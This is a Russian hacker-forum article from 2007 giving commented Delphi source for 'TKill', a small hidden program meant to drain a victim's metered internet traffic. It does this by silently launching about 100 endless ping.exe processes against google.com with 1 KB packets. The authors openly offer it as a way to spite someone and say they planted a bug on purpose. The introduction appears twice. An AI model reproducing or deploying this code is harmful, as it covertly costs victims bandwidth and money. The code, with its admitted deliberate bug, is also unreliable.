Потрать трафик нежно

Вот решил написать простенькую статейку про то, как моно сливать весь трафик. Принцип прост, сливать, сливать и опять таки сливать. Статья не рассчитана на ламеров, придётся и почитать. Поможет тем, кто хочет, кому-то насолить. Как известно трафик это больная тема для каждого, сколько бы его не было всё равно его мало. Хотел написать на C Sharp, но потом остановился не у каждого стоит фреймворк. Так что выбор был на Delphi или можно написать на C++ тут ничего сложного нет. Напишем на делфи 7 без окон естественно.Author’s: Lex Luthor & Begin_End.

Потрать трафик нежно.

Введение.

Вот решил написать простенькую статейку про то, как моно потратить весь трафик. Принцип прост, сливать, сливать и опять таки сливать. Статья не рассчитана на ламеров, придётся и почитать. Поможет тем, кто хочет, кому-то насолить. Как известно трафик это больная тема для каждого, сколько бы его не было всё равно его мало. Хотел написать на C Sharp, но потом остановился не у каждого стоит фреймворк. Так что выбор был на Delphi или можно написать на C++ тут ничего сложного нет. Напишем на делфи 7 без окон естественно.

Кодим.

Когда писал прогу, сказал Begin_End-у, тут он подключился, и решили написать вместе. Он помог очень мне, особенно с уменьшением размера программы и не только. Запускаем делфи, нам понадобится только *.pas файл за всеми остальными ингредиентами прошу вот сюда. В *.pas файле пишем:

//Coder\’s Zone Team (C) 2007
//допустили специально багу в коде

Unit Project1;

interface

//функция запуска приложений
function WinExec(lpCmdLine: PChar; uCmdShow: Cardinal): Cardinal; stdcall; external \’kernel32.dll\’ name \’_WinExec@8\’;
//функция приостановки
procedure Sleep(dwMilliseconds: Cardinal); stdcal; external \’kernel32.dll\’ name \’_Sleep@4\’;
procedure Start;

implementation

procedure Start;
var n:cardinal;
begin
n:=0;
//вызываем цикл запуска 100 копий ping.exe
while n<=100 do
begin
//запускаем ping.exe с параметрами постоянного пинга гугла пакетами по 1 кб, в скрытом режиме
WinExec(\’ping google.com -n -1 -l 1024\’,0);
//немного ждём
Sleep(600);
//добавляем значение к счётчику
n:=n+1;
end;
//цикл окончен — программа завершается
end;

end.

Вот такой вот код. Назвали мы с ним нашу ”программу” — TKill.CZT.LexLuthor&Begin_End. У бинарника получился на 928 байт, естественно он в архиве и под паролем который я не знаю. Ошибка в коде есть, так что думайте нормальный кодер обязательно найдёт багу.

Заключение.

Ну, вот и закончилась наша статья с Begin_End. Наша статья была написана для того что бы показать какими могут быть последствия от невнимательности. И это может закончиться очень плохо, т.к трафик уйдёт в никуда. Лучше пейте кефир и слушайте Баха, а не пишите всяких гадостей.

Исходник